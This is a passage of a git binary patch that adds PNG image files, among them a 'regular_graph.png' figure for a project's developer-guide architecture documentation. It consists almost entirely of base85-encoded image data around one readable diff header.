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 literal 0 HcmV?d00001 diff --git a/docs/devguide/architecture/regular_graph.png b/docs/devguide/architecture/regular_graph.png new file mode 100644 index 0000000000000000000000000000000000000000..4d48b504a23e8558671304d1eb63dcad1e225125 GIT binary patch literal 25998 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 